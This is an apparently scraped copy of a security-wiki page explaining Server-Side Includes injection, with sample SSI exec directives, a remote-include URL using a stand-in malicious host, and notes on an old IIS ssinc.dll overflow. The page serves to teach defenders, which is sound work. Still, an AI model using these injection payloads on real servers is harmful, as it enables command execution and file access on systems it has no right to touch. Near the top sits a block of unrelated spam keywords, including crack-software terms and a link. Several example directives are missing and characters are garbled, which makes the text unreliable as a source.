Server-Side Includes (SSI) Injection

aids facts africa mcaffee antivirus updates reiter automotive north america anastasia left outside alone mp3 african american man young symantec antivirus corporate mdbsaustralia.com automotive acrylic paint antivirus online scan free south african football association webmap etrust antivirus free downloads auto buy .com automotive hand vacuum pump ad ware antivirus download autodesk architectural desktop map portable auto gps asian markets panasonic australia asian earth quake autoftp crack antivirusdisable notify blank map of australia collective unconscious autonomic nervous system click language african jeans west australia cotalings auto body australia drop letterbox asia footage in tsunami video midway auto sales symantech antivirus updates automobile lemon check url bath bomb australia african brides.com airline asiana philippine asia globalization african and modern art asian market stock african dreams guest house model boats australia 3 auto grand ps2 theft through walk antivirus mcafee download domaine furniture australia stinger antivirus tools south african appetizer african american funeral programs eztrust antivirus free download http://www.textalgetvizel.com

Last revision (mm/dd/yy): //

Description
SSIs are directives present on Web applications used to feed an HTML page with dynamic contents. They are similar to CGIs, except that SSIs are used to execute some actions before the current page is loaded or while the page is being visualized. In order to do so, the web server analyzes SSI before supplying the page to the user.

The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. It can be exploited through manipulation of SSI in use in the application or force its use through user input fields.

It is possible to check if the application is properly validating input fields data by inserting characters that are used in SSI directives, like:

< ! # = / . " - > and [a-zA-Z0-9]

Another way to discover if the application is vulnerable is to verify the presence of pages with extension .stm, .shtm and .shtml. However, the lack of these type of pages does not mean that the application is protected against SSI attacks.

In any case, the attack will be successful only if the web server permits SSI execution without proper validation. This can lead to access and manipulation of file system and process under the permission of the web server process owner.

The attacker can access sensitive information, such as password files, and execute shell commands. The SSI directives are injected in input fields and they are sent to the web server. The web server parses and executes the directives before supplying the page. Then, the attack result will be viewable the next time that the page is loaded for the user's browser.

Risk Factors
TBD

Example 1
The commands used to inject SSI vary according to the server operational system in use. The following commands represent the syntax that should be used to execute OS commands.

Linux:

List files of directory:

< !--#exec cmd="ls" -->

Access directories:

Windows:

List files of directory:

< !--#exec cmd="dir" -->

Access directories: < !--#exec cmd="cd C:\admin\dir">

Example 2
Other SSI examples that can be used to access and set server information:

To change the error message output:

To show current document filename:

To show virtual path and filename:

Using the Ã¢ÂÂconfigÃ¢ÂÂ command and Ã¢ÂÂtimefmtÃ¢ÂÂ parameter, it is possible to control the date and time output format:

Using the Ã¢ÂÂfsizeÃ¢ÂÂ command, it is possible to print the size of selected file:

Example 3
An old vulnerability in the IIS versions 4.0 and 5.0 allows an attacker to obtain system privileges through a buffer overflow failure in a dynamic link library (ssinc.dll). The Ã¢ÂÂssinc.dllÃ¢ÂÂ is used to interpreter process Server-Side Includes. CVE 2001-0506.

By creating a malicious page containing the SSI code bellow and forcing the application to load this page (Path Traversal attack), itÃ¢ÂÂs possible to perform this attack:

ssi_over.shtml

PS: The number of Ã¢ÂÂUÃ¢ÂÂ needs to be longer than 2049. Forcing application to load the ssi_over.shtml page:

Non-malicious URL:

www.vulnerablesite.org/index.asp?page=news.asp

Malicious URL: www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi_over.shtml

If the IIS return a blank page it indicates that an overflow has occurred. In this case, the attacker might manipulate the procedure flow and executes arbitrary code.

Related Threat Agents

 * Category:Command Execution

Related Attacks

 * Code Injection

Related Vulnerabilities

 * Category:Input Validation Vulnerability

Related Controls

 * Category:Input Validation Vulnerability